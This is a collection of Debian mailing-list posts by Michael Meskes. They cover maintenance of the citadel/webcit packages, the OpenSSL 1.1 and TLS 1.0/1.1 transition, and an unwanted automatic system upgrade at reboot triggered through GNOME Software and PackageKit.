Re: RFH: citadel/webcit
[Removing the bugs crossposting.] > > If you're interested, how about becoming a member of the team? > >Actually, I'm already listed as a member... (Robert Clay, 'jame- > guest') Oops, so have at it and fix the bugs. Just kidding, but thanks for being part and helping. Art, any idea when the next release will come? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: RFH: citadel/webcit
Robert, > If not I'm going to have it removed I guess. > > I'd be against that. Me too, but somebody has to be able to put some time into it. :) > I have a Jessie installed system that I can't update to Stretch > because citadel won't run on it yet; and the Citadel install there > is > one of the primary reasons I'm running that system. (And I prefer to > use Debian for my systems, and 'official' packages when possible.) What's the problem? I'm not aware of any grave bug on Stretch, but may have missed it. > There used to be a team maintaining these packages, > > but I'm the only one who worked on it in recent years. > >I've wondered about that... >I'm a DM (as j...@rocasa.us) not a DD, so there are some things I > can't do directly. I am very interested in helping how I can with > the Citadel packages. If you're interested, how about becoming a member of the team? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: [Pkg-citadel-devel] Bug#859789: RFH: citadel/webcit
> We patched some of the sources in an attempt to make it work on the > latest Debian, but that effort seems to have missed the mark. That > having been said, we've got everything working with both old and new > libical versions now, and it seems to build cleanly on both previous > and > current Debian versions. I was referring to problems with libssl1.1, that, according to a post by you Art (I think) is fixed. However, having the same version number with different code causes more work, for which I don't have the time atm. This is why the email was a request for help (RFH). > A new release is forthcoming so if you want to hold tight for a > little > while longer we should be able to smooth things out. Naturally it is > up > to you as package maintainer whether you want to continue to > volunteer > your time -- I totally respect that. Actually the problem is I run very low on time right now. Let me make two things clear, I really like citadel despite not using it and upstream (all of them, not just Art) is very nice to work with and more than willing to help. My problem is a very simple lack of time. I'm able to do an upload every now and then, but not much else. However, since you said there'll be a release shortly, I won't ask for removal if that release fixes the RCs. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: RFH: citadel/webcit
> You can change the b-d to libical2-dev to still build with the old > libical > version. afaics it doesn't link with packages now linked with > libical3. Sorry, should have said that I was referring to libssl 1.0 vs 1.1 Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
RFH: citadel/webcit
Anyone interested in citadel/webcit? If not I'm going to have it removed I guess. There used to be a team maintaining these packages, but I'm the only one who worked on it in recent years. Not having used the software myself I don't really intend to spend more time on it and both packages have an RC bug, that upstream may or may not have fixed. To explain the latter, upstream claims to have fixed it and their source is different from ours but the version number is exactly the same! Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: OpenSSL disables TLS 1.0 and 1.1
>> It'd be nice if, after all this discussion, you stated clearly whether >> you plan to change something or not. > > Isn't that what I just did? No, not exactly. You stated what you want to do in *Buster*, but not whether it's supposed to stay broken all the way until then. I guess this email of yours does make it clear, though. I guess we should then move the discussion from "should libssl support TLS 1.0/1.1" to "how do we get a system again that works with the not-so-up-to-date rest of the world". At least I think our social contract demands we offer a *working*" ssl setup: ... We will be guided by the needs of our users and the free software community. We will place their interests first in our priorities. We will support the needs of our users for operation in many different kinds of computing environments. ... Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: OpenSSL disables TLS 1.0 and 1.1
> I might upload this soon. The intention is still to ship Buster > with TLS 1.0 and 1.1 completly disabled. Disabled by configuration or disabled by not compiling it in? It'd be nice if, after all this discussion, you stated clearly whether you plan to change something or not. Meaning, will we get a libssl version that allows older TLS version or do you flatly deny the need for it and keep libssl as is? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: openssl/libssl1 in Debian now blocks offlineimap?
> pretty poor choice. Providing people with the possibility to fall back > to less secure solutions sounds like a much better choice, just like Problem is, where is this possibility right now? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: openssl/libssl1 in Debian now blocks offlineimap?
> Disabling the protocols is the only way I know how to identify > all the problems. And I would like to encourage everybody to > contact the other side if things break and get them to upgrade. So you make the decision that everyone should talk to their providers etc.? I can actually understand your point but I strongly disagree with action. I would actually be fine with it, if we were able to solve all problems in Debian, but we are not. Therefore my ssl packages are on hold and will be as long as needed. Unstable should not be mis-used this way. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: OpenSSL disables TLS 1.0 and 1.1
> > This will likely break certain things that for whatever reason > > still don't support TLS 1.2. I strongly suggest that if it's not > > supported that you add support for it, or get the other side to > > add support for it. > > In many cases this isnt possible. Wouldn't it make sense to start with experimental and test/file bug reports on stuff that doesn't? Let's make this clear, if you install the new packages chances are nearly 100% that something will break, at least that's my experience. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Chromium browser
Hi, could anyone please enlighten me why we have a chromium version in stable security that is newer than what we have in unstable? The same version I did find, though, in experimental. However, I wonder if anything not stable enough(?) for unstable can make it into stable security. Or the other way round, why something needed for security cannot make it into unstable. Anyway, yes, the question is, what do I with my desktops? Final question, why does https://packages.qa.debian.org/c/chromium-browser.html not show the security upload in the news feed? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: MIA maintainers and RC-buggy packages
> Did you document your attempts so people willing to help have a point > to start from? No, and all the blame for that goes to me. BTW the same holds for all of my other packages, I'm more than willing to accept help/co-maintainership. Thanks for the patch. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: MIA maintainers and RC-buggy packages
> > The question is absolutely valid, but maybe I should rephrase it to > > "Why > > are you contacting the uploader only and not the team as well?" > > Because it's the first step. Would have been nice to know. Anyway, I can see your point. > > > * Also: what should we do with packages that are marked as team- > > > maintained > > > but are really orphaned? > > > > Which is defined how? > > I can define that as "nobody actually cares about the package". Sure, but then it would be nice if you'd tried finding out if nobody cares. As usual the real world is neither white not black, but some shade of gray. The problem with the package is that the new version does not build on my system but I lack the time to debug, could be minor but still. I'd like to keep the package around, if it still has the same functionality. Upstreams docs are not absolutely clear about this and I cannot check without building it. If anyone wants to help, the package is tora. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: MIA maintainers and RC-buggy packages
> human maintainer". 1 was "why are you asking me, I am only an > uploader, > the package is team maintained" even though that person was the only > actual uploader (since 2002 till 2012). I've sent the list of my > pings to > the MIA team. I don't like the way you are picturing this. The question is absolutely valid, but maybe I should rephrase it to "Why are you contacting the uploader only and not the team as well?" > * Also: what should we do with packages that are marked as team- > maintained > but are really orphaned? Which is defined how? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: openssl transition
> Well, most upstreams will want to support OpenSSL 1.0 for a little > while longer (lots of other distributions are still on OpenSSL 1.0 > for the foreseeable future), so any patch that has a chance of > getting accepted by most upstreams will still need to support 1.0 > as well as 1.1. True, but I wonder if this is the right basis for a transition plan. Not saying you said it would be. I just question if there is one. Other than removing everything that does not compile with 1.1 of course. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: openssl transition
On Sat, Oct 29, 2016 at 10:04:21PM +0200, Christian Seiler wrote: > Well, ideally it'll compile with both OpenSSL 1.0.2 and 1.1 and > therefore be binNMU-able. (This has the advantage that such a > patch is much more likely to get accepted by upstream.) In that > case you can upload a version that Closes: #nnn the RC bug. It turned out my packages were easy, they just needed OPENSSL_API_COMPAT to be defined accordingly. However, I don't think all upstreams will work like this. I can easily see some just requiring OpenSSL 1.1 and change the code accordingly. And I doubt it's wise for us to require packages to be patched to compile with the old version of OpenSSL, too. > (Also, if you ever want to backport stuff to jessie-backports, it > is necessary to still support building against OpenSSL 1.0 even > after the transition. That's not something relevant for all > packages, as not everything is going to be backported, but there > are definitely some packages that will be affected.) What prevents us from backporting OpenSSL? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: openssl transition
> - The parallel use of release 1.0 and 1.1 will not be pursued? > > - Why is the transition started with 0 (zero) good packages (from 552)? > ... May I add one more, and actually pretty pressing question? How are we supposed to upload "fixed" packages? I have two that are said to be removed in, like, 12 days. If I upload those to experimental, it will not prevent the auto-removal. Uploading to sid will make the packages uninstallable for obvious reasons. And then there's the "transition freeze" in 7 days. Let's say I'm a bit confused. Could anyone please tell me how this is supposed to be handled? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
RFH: several packages
Hi all, it appears my real-life workload won't come down significantly in the foreseeable future. Therefore some packages could need some help. I'm not orphaning anything yet, but I may have to eventually. Some are team maintained anyway, other can be handed over completely or moved to team maintenance. For some I'm also upstream, needless to say I'm lacking time there, too. Anyhow, here are the packages: acpi, acpi-support, acpid, acpitool - essentially the whole pkg-acpi group, I don't use them anymore, I'm also upstream for acpi avfs - not a whole lot of releases bsdmainutils - this I definitely want to stay involved in citadel - not a lot of work, upstream's very helpful quota - another one that I'd like to keep in touch with similarity-tester - small tool, actually not much work watchdog - I'm still involved upstream, but mostly for release management Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: debian companies mailing list
> Does this page is still valid? > https://lists.debian.org/debian-companies/ Yes, but it is currently waiting for its update. > Otherwise, how can I subscribe my company? Like all other mailing lists, too. Check e.g. here https://www.debian.org/MailingLists/#subunsub Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
debian companies mailing list
Hi all, as agreed on during DebConf the debian companies mailing list is now open for subscription for everyone. No limitation anymore. It would be nice, though, if subscribers had a vested interest in the topic. The list will, unless decided otherwise on the list, not have a public archive and we expect subscriber to stick with the code of conduct of not making anything public unless permitted to do so. The reason for this is that a lot of people/companies need to involve legal before posting to a public list which would essentially prevent contribution. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by GNOME
> That this would happen with no prior notification or user approval is > absolutely a bug, which I believe everyone involved in this thread has > agreed about. I think I saw a message go by indicating that the bug was > already located and fixed. Not exactly, the bug that was fixed was the installation without user ticking the checkbox. However, we still argue whether user should have the say in if the updates are downloaded at all. > In particular, I think it's been pretty well-established in this thread > that the only involvement systemd has in the whole affair is making > available a mechanism for upgrade on reboot that GNOME is (so far as I'm > aware) the only consumer of, thus making the subject line a bit > misleading. I'm happy to let the systemd packagers decide whether it True. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
On Mon, Aug 31, 2015 at 03:47:19PM +0200, Josselin Mouette wrote: > An user does probably not need an “automatic updates” feature if she > wants such a level of manual control. In which case she can just disable > the updates and do her thing. Absolutely agreed. That's why I'd like to see the user told what he's getting into. The package description of gnome-software says: Software Center for GNOME Software lets you install and update applications and system extensions. ... How is anyone supposed to realize that this will include an automatic download of updates? And no, I didn't leave the best part out, the rest of the description is pretty technical. > I hope you are not seriously suggesting we should present users with > choices all the time, especially choices with serious security > consequences that most users are unable to appreciate. Not sure what you mean with "all the time", but I do believe we have way less important debconf questions than "Do you want to download updates automatically?" Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
On Sun, Aug 30, 2015 at 10:41:16PM +0200, Philipp Kern wrote: > On the other hand I don't see why I, as a user, need to care about the > constant churn of updates myself. Why do I have to spend brain cycles on > that? What are my options? Am I going to inform myself on each and every Right, every user should have the option to decide her/himself which route to take. But as it is right now, the gnome software is making that decision without even telling her/him. And that cannot be right. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> This is getting ridiculous, are you now claiming the Debian Gnome team > or Gnome upstream was tracking the Windows 10 betas? If anything is getting ridiculous then it's people believing we know better hen the user when a line is to be used for update ans when not. This is simply impossible. As mentioned before for the same cell the situation may change depending on location. Or I may be on a slow line where the downloads make everything unusable but I desperately need to send/receive emails. Finally, speaking from experience again, I refuse to install updates while traveling, because I simply don't have the time, and sometimes not even the means, to repair the fuckup resulting from the updates. Agreed, this is rare, but still, even once is one time too many for me. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> In that case, the WLAN access point ("FooAP" or so) should be tagged as
> "modem", not sure if n-m can do that. Am trying to file a wishlist
> bug for that by BCCing submit@.
And? How's that supposed to solve the problem?
I may be just fine using my cell for updates at home, but not while traveling.
> But in general I think we want that our users get security updates ASAP,
> so the current default looks mostly sane to me. Maybe somebody knows a
> shell on-liner along the line of systemd-inhibit or some d-bus call
> which deactivates automatic download for the time being for "power
> users" and/or tags a WLAN connection as "modem".
You're not seriously suggesting we should make the decision for the user
without even telling him? Doesn't freedom of choice also include the freedom
to not do updates?
Michael
--
Michael Meskes
Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org)
Meskes at (Debian|Postgresql) dot Org
Jabber: michael.meskes at gmail dot com
VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> :D Sorry, it never occurred to me that this was an ambiguous statement. No worries. > Anyway, the issue you encountered was highly likely bug #797138 which is > already fixed in case you have PackageKit 1.0.8 installed. > So, this problem is resolved now and was a bug, not intended behavior. Right, thanks for the fast reaction. I think there is more at stake with this bug as you can see from the thread. The package shouldn't be downloaded first hand. That is not packagekit's fault though. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> It’s gnome-software in sid, or g-s-d in jessie, querying PackageKit for > updates. > The default policy is to not schedule any downloads when running on > battery or on a modem connection. Which is not enough IMO. (W)LAN connections cannot be expected to not carry a penalty for download volume. Just think about the now standard way of going on-line while traveling, making your cell play access point. And at least in my area of the world no flat rate is really flat, at least it will be slowed down to crazy low numbers if you reach a certain threshold. Even worse, if you're roaming it'll cost a fortune. Also you may be on a solid flat rate that just has not good bandwidth and this automatic process takes everything away from you and you don't even know but instead blame the other people on the network. In my opinion the only option we have, is to make it configurable or, as I said before, add a huge and very big warning to the package. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
On 28.08.2015 08:10, Geert Stappers wrote: > On Fri, Aug 28, 2015 at 06:14:05AM +0200, Michael Meskes wrote: >>> Is this enough to go on to move this to a report against gnome-software? >> >> Bug reported btw. > > Where? ( "Where to follow the bugreport?" ) #797135 Seems you were faster than the bts. :) Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> Is this enough to go on to move this to a report against gnome-software? Bug reported btw. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> Having just read this entire thread, and been affected by this once, it > occurs to me that the likely answer has been offered, but I suspect you > may have thought Matthias' reference to “GNOME Software” to be a generic > answer (apologies if I'm wrong). But in fact the name of the relevant No, you're absolutely right. > package is gnome-software. Thanks for clarifying. However, I do not have this package installed, nor do I find any trace of if in dpkg's logs. > When gnome-software is installed, it runs as a service in the user's > desktop session by default and periodically queries PackageKit for > updates. If the setting org.gnome.software/download-updates is enabled > (the default is enabled), Software asks PackageKit to download updates > in the background. That to me already sounds like a bug. I cannot seem to find that key in my setup, but that could be related to me removing packagekit earlier. > When updates have been “prepared” by this interaction, the normal > gnome-shell shutdown dialog will show the aforementioned checkbox. At > least with my most recent testing, it is checked by default. > > I can reproduce this by commanding PackageKit with > > pkcon refresh > pkcon update --only-download > > and observe the gnome-shell shutdown prompt now has the checkbox > suggesting to “Install pending software updates” (assuming there are > updates). > > Is this enough to go on to move this to a report against gnome-software? It's certainly enough to create a bug report against gnome-software. It does not explain what happened to me, though. But then maybe gnome-software got deinstalled earlier (and the log already rotated out) and left the key. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> Jup, sorry, that was a typo. It's called something like "Restart & > Install updates" There definitely was no such button and besides I shut the system down and started it again the next morning. > Strange - then the install-updates mode should not have been entered in > the first place. Let me guess, the file was re-created by some software. > Nope, but checking if it appears while you don't want to execute > offline-updates would help, because then we would be certain that > something is triggering the update. I never wanted to execute offline-updates. So seeing those updates proves that something triggered it, right? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> The GNOME story goes like this: when there are pending updates the > reboot / halt dialog contains a "install pending software updates" > checkbox, unchecked by default (as seen in attached screenshot). So either the update were done despite an unchecked box, or something changed it to be checked. Besides, what causes the system to make those package downloads before? I may be behind a slow or expensive line and don't want any downloads performed at all. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> Are you sure that you did not shutdown your computer from GNOME and did > not pay attention to the new checkbox allowing it to install upgrades > during shutdown/boot? > > I have seen it once already and I have always unchecked it. I may have missed the checkbox, no doubt about that, but I definitely have not accidently checked it. And IMO it should not be checked by default. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
On Wed, Aug 26, 2015 at 01:26:13PM +0200, Matthias Klumpp wrote: > 1) This feature is not enabled by default. It only gets triggered if a > frontend tool makes use of it, and will not be activated automatically. So, > you will only see it when you use GNOME with GNOME-Software or any other > tool which triggers the functionality. Also, if it triggers the offline And if whatever GNOME software that is triggers the feature by default it is enabled. Nobody is trying to blame any single package AFAICT, we're trying to find out which one enables a (anti-)feature by default that it shouldn't. > update, you will have chosen to do that by clicking the "Reboot and > Restart" button. Eh? This neither makes sense nor is it true. A "Reboot and Restart" button (if such a thing existed, could this be a typo?) would not give you any hint whatsoever that the reboot process will perform updates. And besides, I completely switched off my system and started it again later, when that dreaded updated kicked in. > 2) I tried to reproduce the behavior of getting offline-updates by only > installing PackageKit in a clean Sid VM. Everything was behaving as > expected, no offline-upgrade was triggered without a frontend tool > requesting it. So, there is something really strange happening on your > system to trigger this - more feedback would be welcome. It could be that > GNOME-Software was installed, has triggered the upgrade once and the file > triggering the upgrade has just not been removed, so the machine will > endlessly try to upgrade. Although, this should actually never happen, and > I would be very suprised if it does. No, the file has not been there. I've had the problem before and checked for it after the first incident. > 3) If you want to complain, complain at GNOME for making this the default > behavior for updating software. The lower layers are really not to blame > here for executing a request from other tools. I don't want to complain, I want this to be fixed. And I'm fine accepting that the error is in GNOME, but where there? > 4) The offline-uügrade failing is definitively a bug, but: > > 2015-08-26 10:44 GMT+02:00 Andreas Tscharner : > > > No, I think it's the GCC 5 and the corresponding ABI update that causes > > this. aptitude proposed to remove 64 packages yesterday... > > > > Since PK is not doing anything special and is just calling Apt to do > things, any removal done by it is highly likely related to our GCC > transition taking place. So at time, it's a good idea to perform updates > manually. Ha ha ha. I wouldn't have started this thread if I had wanted my system to perform updates automatically. Statements like this are not exactly helping. > To not trigger offline-upgrades, ensure that the file "/system-update" does > not exist. (this file will only be created when some other tool triggers > offline-upgrades). Are you seriously suggesting I should check for that file *every* time I reboot? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
On Wed, Aug 26, 2015 at 07:39:38AM +0200, Vincent Bernat wrote: > There doesn't seem to have a bug report for this. This would be a better > place to discuss this issue. Please tell me which package is the one misbehaving and I gladly report it. But so far I have yet to figure that our. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: Digital signature
Re: system upgrade by systemd
> I'm unclear as to what you have installed that triggers this, because I've > been using systemd and sid for eons and have never encountered this > behavior. (That also makes me pretty sure, pace Steve, that this is not > something *systemd* as systemd is actually doing, but some other > component.) Fair enough, I wasn't refering to systemd as the culprit, but to whichever software caused this. > Is it GNOME Software that you also have installed, per the other message > on this thread? Yes, sorry, I see your point. Also I have jessie security enabled in my apt sources list, which may also make a difference. > Looking at systemd-system-update-generator, it looks like this is a purely > optional feature that is only triggered if you use a system upgrade method > that uses the /var/lib/system-update staging area. So I think blaming > this on systemd is a little odd. I certainly agree that it's a rather > serious bug for this to suddenly start happening without your knowledge, > particularly when it makes some decidedly bad dist-upgrade choices, but I > think the fault here lies with whatever software staged this upgrade. Not > with systemd for just doing what it was told by another package. Agreed, if that's the way to setup works, I'm completely with you. > I like having the *choice* of being able to either use apt and upgrade > directly, or stage an upgrade and have it happen on reboot. It seems like > systemd is providing that choice and supporting both options, which is > great. The question, in my mind, is why you're getting surprised with > something using the method that you don't prefer. Right, my point being this should never be the default. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> PK does understand apt holds - only Aptitude doesn't set them correctly, > see bug #683099 I wasn't talking about existing holds, but about an update strategy that prioritized removing packages like gnome-control-center over putting some other on hold automatically. I would expect an automatic system to *always* take the path of least removals. > PackageKit uses the very same resolver as apt itself does... > A log file of what actually happened would be very helpful here, to > determine the problem causing the package removal. Just try an update on a recently updated (Sunday) sid system and you'll see see the conflicts. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> I used the term "anti-feature" deliberately. I am well aware of what > the systemd devs are trying to achieve here, and I strongly believe > that it is a significant backwards step for Debian. We should not be > doing this and making things worse for our users without (at the very > least!) discussing it properly first. And, may I add, tell the admin clearly and make it configurable. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> The only thing which makes use of this feature is GNOME through > GNOME-Software, so if you don't want this, removing GNOME-Software will > be enough. This is a joke, right? > P.S: A log file on why the update failed would be very helpful though, > because even if you don't use it, the functionality should be usable for > those who want to use it. Who said the update failed? I want to make the decision as to when and how to update my system and I never want to see some stupid software make a bad decisions in particular not while traveling and sitting behind a line that doesn't give me enough bandwidth for a real update, or even a small one for that matter. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: system upgrade by systemd
> Looks like it's probably worth uninstalling all of the packagekit > stuff if you don't want this horrendous anti-feature. Turns out I had only packagekit itself installed. Shouldn't its description mention this "horrendous anti-feature"? I couldn't agree more on the wording. Actually I consider this behavior a very grave bug. Yes, I can see some reasons for this "feature" but certainly not for it to be activated automatically and not exactly well documented. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
system upgrade by systemd
